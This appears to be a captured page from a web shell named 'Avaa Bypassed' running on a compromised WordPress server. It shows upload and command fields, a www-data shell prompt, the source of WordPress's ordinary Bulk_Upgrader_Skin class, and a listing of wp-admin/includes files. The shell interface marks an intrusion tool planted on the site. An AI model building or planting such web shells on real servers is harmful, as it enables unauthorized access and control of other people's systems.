[ Avaa Bypassed ]




Upload:

Command:

www-data@3.137.142.253: ~ $
<?php
/**
 * Upgrader API: Bulk_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Generic Bulk Upgrader Skin for WordPress Upgrades.
 *
 * @since 3.0.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Bulk_Upgrader_Skin extends WP_Upgrader_Skin {
	public $in_loop = false;
	/**
	 * @var string|false
	 */
	public $error = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'nonce' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		parent::__construct( $args );
	}

	/**
	 */
	public function add_strings() {
		$this->upgrader->strings['skin_upgrade_start'] = __( 'The update process is starting. This process may take a while on some hosts, so please be patient.' );
		/* translators: 1: Title of an update, 2: Error message. */
		$this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while updating %1$s: %2$s' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_failed'] = __( 'The update of %s failed.' );
		/* translators: %s: Title of an update. */
		$this->upgrader->strings['skin_update_successful'] = __( '%s updated successfully.' );
		$this->upgrader->strings['skin_upgrade_end']       = __( 'All updates have been completed.' );
	}

	/**
	 * @since 5.9.0 Renamed `$string` (a PHP reserved keyword) to `$feedback` for PHP 8 named parameter support.
	 *
	 * @param string $feedback Message data.
	 * @param mixed  ...$args  Optional text replacements.
	 */
	public function feedback( $feedback, ...$args ) {
		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( str_contains( $feedback, '%' ) ) {
			if ( $args ) {
				$args     = array_map( 'strip_tags', $args );
				$args     = array_map( 'esc_html', $args );
				$feedback = vsprintf( $feedback, $args );
			}
		}
		if ( empty( $feedback ) ) {
			return;
		}
		if ( $this->in_loop ) {
			echo "$feedback<br />\n";
		} else {
			echo "<p>$feedback</p>\n";
		}
	}

	/**
	 */
	public function header() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 */
	public function footer() {
		// Nothing. This will be displayed within an iframe.
	}

	/**
	 * @since 5.9.0 Renamed `$error` to `$errors` for PHP 8 named parameter support.
	 *
	 * @param string|WP_Error $errors Errors.
	 */
	public function error( $errors ) {
		if ( is_string( $errors ) && isset( $this->upgrader->strings[ $errors ] ) ) {
			$this->error = $this->upgrader->strings[ $errors ];
		}

		if ( is_wp_error( $errors ) ) {
			$messages = array();
			foreach ( $errors->get_error_messages() as $emessage ) {
				if ( $errors->get_error_data() && is_string( $errors->get_error_data() ) ) {
					$messages[] = $emessage . ' ' . esc_html( strip_tags( $errors->get_error_data() ) );
				} else {
					$messages[] = $emessage;
				}
			}
			$this->error = implode( ', ', $messages );
		}
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
	}

	/**
	 */
	public function bulk_header() {
		$this->feedback( 'skin_upgrade_start' );
	}

	/**
	 */
	public function bulk_footer() {
		$this->feedback( 'skin_upgrade_end' );
	}

	/**
	 * @param string $title
	 */
	public function before( $title = '' ) {
		$this->in_loop = true;
		printf( '<h2>' . $this->upgrader->strings['skin_before_update_header'] . ' <span class="spinner waiting-' . $this->upgrader->update_current . '"></span></h2>', $title, $this->upgrader->update_current, $this->upgrader->update_count );
		echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').css("display", "inline-block");</script>';
		// This progress messages div gets moved via JavaScript when clicking on "More details.".
		echo '<div class="update-messages hide-if-js" id="progress-' . esc_attr( $this->upgrader->update_current ) . '"><p>';
		$this->flush_output();
	}

	/**
	 * @param string $title
	 */
	public function after( $title = '' ) {
		echo '</p></div>';
		if ( $this->error || ! $this->result ) {
			if ( $this->error ) {
				echo '<div class="error"><p>' . sprintf( $this->upgrader->strings['skin_update_failed_error'], $title, '<strong>' . $this->error . '</strong>' ) . '</p></div>';
			} else {
				echo '<div class="error"><p>' . sprintf( $this->upgrader->strings['skin_update_failed'], $title ) . '</p></div>';
			}

			echo '<script type="text/javascript">jQuery(\'#progress-' . esc_js( $this->upgrader->update_current ) . '\').show();</script>';
		}
		if ( $this->result && ! is_wp_error( $this->result ) ) {
			if ( ! $this->error ) {
				echo '<div class="updated js-update-details" data-update-details="progress-' . esc_attr( $this->upgrader->update_current ) . '">' .
					'<p>' . sprintf( $this->upgrader->strings['skin_update_successful'], $title ) .
					' <button type="button" class="hide-if-no-js button-link js-update-details-toggle" aria-expanded="false">' . __( 'More details.' ) . '<span class="dashicons dashicons-arrow-down" aria-hidden="true"></span></button>' .
					'</p></div>';
			}

			echo '<script type="text/javascript">jQuery(\'.waiting-' . esc_js( $this->upgrader->update_current ) . '\').hide();</script>';
		}

		$this->reset();
		$this->flush_output();
	}

	/**
	 */
	public function reset() {
		$this->in_loop = false;
		$this->error   = false;
	}

	/**
	 */
	public function flush_output() {
		wp_ob_end_flush_all();
		flush();
	}
}

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.58 KB 0644
admin.php File 3.54 KB 0644
ajax-actions.php File 147.78 KB 0644
bookmark.php File 11.34 KB 0644
class-automatic-upgrader-skin.php File 3.58 KB 0644
class-bulk-plugin-upgrader-skin.php File 2.2 KB 0644
class-bulk-theme-upgrader-skin.php File 2.27 KB 0644
class-bulk-upgrader-skin.php File 5.5 KB 0644
class-core-upgrader.php File 14.65 KB 0644
class-custom-background.php File 20.75 KB 0644
class-custom-image-header.php File 47.39 KB 0644
class-file-upload-upgrader.php File 3.35 KB 0644
class-ftp-pure.php File 5.3 KB 0644
class-ftp-sockets.php File 8.28 KB 0644
class-ftp.php File 26.66 KB 0644
class-language-pack-upgrader-skin.php File 2.42 KB 0644
class-language-pack-upgrader.php File 14.59 KB 0644
class-pclzip.php File 192.08 KB 0644
class-plugin-installer-skin.php File 11.65 KB 0644
class-plugin-upgrader-skin.php File 3.2 KB 0644
class-plugin-upgrader.php File 22.78 KB 0644
class-theme-installer-skin.php File 12.32 KB 0644
class-theme-upgrader-skin.php File 4.07 KB 0644
class-theme-upgrader.php File 24.85 KB 0644
class-walker-category-checklist.php File 4.76 KB 0644
class-walker-nav-menu-checklist.php File 5.5 KB 0644
class-walker-nav-menu-edit.php File 12.95 KB 0644
class-wp-ajax-upgrader-skin.php File 4.09 KB 0644
class-wp-application-passwords-list-table.php File 6.78 KB 0644
class-wp-automatic-updater.php File 51.79 KB 0644
class-wp-comments-list-table.php File 31.4 KB 0644
class-wp-community-events.php File 18.33 KB 0644
class-wp-debug-data.php File 59.66 KB 0644
class-wp-filesystem-base.php File 23.84 KB 0644
class-wp-filesystem-direct.php File 17.72 KB 0644
class-wp-filesystem-ftpext.php File 22.56 KB 0644
class-wp-filesystem-ftpsockets.php File 18.05 KB 0644
class-wp-filesystem-ssh2.php File 22.76 KB 0644
class-wp-importer.php File 7.28 KB 0644
class-wp-internal-pointers.php File 4.47 KB 0644
class-wp-links-list-table.php File 8.63 KB 0644
class-wp-list-table-compat.php File 1.46 KB 0644
class-wp-list-table.php File 50.17 KB 0644
class-wp-media-list-table.php File 24.95 KB 0644
class-wp-ms-sites-list-table.php File 21.37 KB 0644
class-wp-ms-themes-list-table.php File 27.3 KB 0644
class-wp-ms-users-list-table.php File 14.83 KB 0644
class-wp-plugin-install-list-table.php File 23.75 KB 0644
class-wp-plugins-list-table.php File 48.74 KB 0644
class-wp-post-comments-list-table.php File 1.42 KB 0644
class-wp-posts-list-table.php File 61.5 KB 0644
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0644
class-wp-privacy-data-removal-requests-list-table.php File 5.58 KB 0644
class-wp-privacy-policy-content.php File 31.66 KB 0644
class-wp-privacy-requests-table.php File 13.68 KB 0644
class-wp-screen.php File 36.42 KB 0644
class-wp-site-health-auto-updates.php File 13.19 KB 0644
class-wp-site-health.php File 119.73 KB 0644
class-wp-site-icon.php File 6.15 KB 0644
class-wp-terms-list-table.php File 19.84 KB 0644
class-wp-theme-install-list-table.php File 15.31 KB 0644
class-wp-themes-list-table.php File 10.04 KB 0644
class-wp-upgrader-skin.php File 6.39 KB 0644
class-wp-upgrader-skins.php File 1.44 KB 0644
class-wp-upgrader.php File 44.11 KB 0644
class-wp-users-list-table.php File 18.64 KB 0644
comment.php File 5.98 KB 0644
continents-cities.php File 20.06 KB 0644
credits.php File 5.8 KB 0644
dashboard.php File 67.92 KB 0644
deprecated.php File 40.72 KB 0644
edit-tag-messages.php File 1.44 KB 0644
export.php File 23.57 KB 0644
file.php File 92.88 KB 0644
image-edit.php File 41.66 KB 0644
image.php File 37.96 KB 0644
import.php File 6.52 KB 0644
list-table.php File 3.71 KB 0644
media.php File 115.27 KB 0644
menu.php File 9.37 KB 0644
meta-boxes.php File 64.45 KB 0644
misc.php File 44.8 KB 0644
ms-admin-filters.php File 1.27 KB 0644
ms-deprecated.php File 3.68 KB 0644
ms.php File 33.04 KB 0644
nav-menu.php File 47.3 KB 0644
network.php File 26.04 KB 0644
noop.php File 1.06 KB 0644
options.php File 4.06 KB 0644
plugin-install.php File 34.1 KB 0644
plugin.php File 87.71 KB 0644
post.php File 76.53 KB 0644
privacy-tools.php File 32.68 KB 0644
revision.php File 15.77 KB 0644
schema.php File 41.85 KB 0644
screen.php File 6.21 KB 0644
taxonomy.php File 8.23 KB 0644
template.php File 95.18 KB 0644
theme-install.php File 6.82 KB 0644
theme.php File 45.92 KB 0644
translation-install.php File 8.69 KB 0644
update-core.php File 70.57 KB 0644
update.php File 34.65 KB 0644
upgrade.php File 108.96 KB 0644
user.php File 22.74 KB 0644
widgets.php File 10.66 KB 0644